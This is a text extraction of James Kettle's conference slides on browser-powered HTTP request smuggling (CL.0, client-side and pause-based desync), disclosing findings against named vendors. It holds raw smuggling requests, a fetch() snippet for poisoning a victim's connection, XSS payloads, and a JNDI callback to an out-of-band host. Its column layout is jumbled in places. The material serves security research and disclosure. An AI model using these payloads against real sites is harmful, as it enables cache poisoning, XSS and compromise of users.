browser-powered-desync-attacks-slides
browser-powered-desync-attacks-slides
James Kettle
Warning / disclaimer
If it’s not uploaded yet, you can get notified when it’s ready by
following me at https://twitter.com/albinowax
- albinowax
A problem and a discovery
2019 CVE-2020-XXY
YZ
Problem: Request Smuggling false positives
Solution: Never reuse HTTP/1.1 connections
2021
Problem: Connection-locked request smuggling
X
Solution: Always reuse HTTP/1.1 connections
X
Outline
POST / HTTP/1.1
Connection #1
Content-Length: 41
Transfer-Encoding: chunked
0
EARLY HTTP/1.1 301 Moved Permanently
READ Location: /en
Detecting connection-locked CL.TE
Is the front-end using the Content-Length? Yes
POST / HTTP/1.1
Content-Length: 41
Transfer-Encoding: chunked
0
EARLY
⌛ <no data>
GET /hopefully404 HTTP/1.1 READ
Foo: bar GET / HTTP/1.1 READ HTTP/1.1 301 Moved Permanently
Host: example.com Location: /en
Taxonomy
TE.CL and CL.TE // classic request smuggling
H2.CL and H2.TE // HTTP/2 downgrade smuggling
CL.0 // this
H2.0 // implied by CL.0
0.CL and 0.TE // unexploitable without pipelining
2021-10-26: Reported
H2.0 on amazon.com <2022-08-10: Fixed
POST /gp/customer-reviews/aj/private/
reviewsGallery/get-image-gallery HTTP/1.1
X-Amz-SideCar-Enabled: on
X-Amz-Sidecar-Destination-Host:
http://us-other-iad7.amazon.com:1080
X-Forwarded-Host: …
Client-Side Desync
(CSD)
Client-side desync
CSD Methodology
Tool requirements:
- Connection-reuse visibility & controls
- Content-Length override
- HTTP Request Smugger 2.1 / Turbo Intruder 1.3, Burp Suite {Pro,Community} 2022.8
Browser:
- CSD works similarly on all browsers tested
- Chrome has the most useful dev tools
Detect CSD vector
1. Server ignores Content-Length POST /favicon.ico HTTP/1.1
- Server-error Host: example.com
- Surprise factor Content-Type: text/plain
Content-Length: 5
2. Request can be triggered cross-domain
X
- POST method, no unusual headers
- Server doesn't support HTTP/2*
3. Server leaves connection open
Confirm vector in browser
- Disable proxy, open cross-domain HTTPS attacker site
- Open DevTools Network tab, enable Preserve Log & Connection ID
fetch('https://example.com/..%2f', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y",
mode: 'no-cors', // make devtools useful
credentials: 'include' // poison correct pool
}).then(() => {
location = 'https://example.com/'
})
Store
Chain & Pivot
• User-Agent: ${jndi:ldap://x.oastify.com}
• Impossible CSRF
Attack
• Host-header redirects
• HEAD-splicing XSS
• Challenges: precision, stacked-responses
Akamai - detection
POST /assets HTTP/1.1 HTTP/1.1 301 Moved Permanently
Host: www.capitalone.ca Location: /assets/
Content-Length: 30
=> https://redacted.com/+CSCOE+/logon.html
<script src="https://redacted.com/+CSCOE+/win.js">
=> 301 Moved Permanently (from cache)
=> https://psres.net/+webvpn+/index
2021-11-10: Reported
=> malicious() 2022-03-02: wontfix'd
CVE-2022-20713
Verisign – fragmented chunk 2021-12-22: Reported
2022-07-21: Fixed
POST /%2f HTTP/1.1
Host: www.verisign.com HTTP/1.1 200 OK
Content-Length: 81
HEAD / HTTP/1.1
Connection: keep-alive
Transfer-Encoding: chunked
34d
POST / HTTP/1.1
Host: www.verisign.com
Content-Length: 59
HTTP/1.1 200 OK
0 Content-Length: 54873
Content-Type: text/html
GET /<script>evil() HTTP/1.1
Host: www.verisign.com HTTP/1.1 301 Moved Permanently
Location: /en_US/<script>evil()/index.xhtml
Pulse Secure VPN – an approach of last resort
Regular CSD attacks:
1. Create a poisoned connection
2. Trigger navigation
Making it plausible:
• Pre-connect to normalise target page load time
• Combine with separate window/tab for multiple attempts
• Identify page with non-cacheable JS import
2022-01-24: Reported
2022-08-10: Fixed?
Pause-based desync
Pause-based desync
POST /admin HTTP/1.1
Content-Length: 41 ⌛ 10s
⌛ wait for response
GET /404 HTTP/1.1 HTTP/1.1 403 Forbidden
Foo: bar GET / HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found
if (req.url ~ "^/admin") {
CVE-2022-23959
return (synth(403, "Forbidden"));
} Patched in 7.0.2
CVE-2022-22720
Redirect 301 /redirect /destination
Patched in 2.4.53
Server-side pause-based desync
Front-end Varnish/Apache
POST /admin HTTP/1.1
Content-Length: 23
⌛ 20s ⌛ 10s
GET /404 HTTP/1.1 HTTP/1.1 403 Forbidden
X: YGET / HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found
GET / HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found
Pause-based desync with matching timeouts
POST /admin HTTP/1.1
⌛ 60s
Content-Length: 23
⌛ 60s ⌛ 60s
GET /404 HTTP/1.1 HTTP/1.1 403 Forbidden
X: Y
GET / HTTP/1.1
Host: example.com
HTTP/1.1 404 Not Found
# Setup
tc qdisc add dev eth0 root handle 1: prio priomap
@albinowax
Email: [email protected]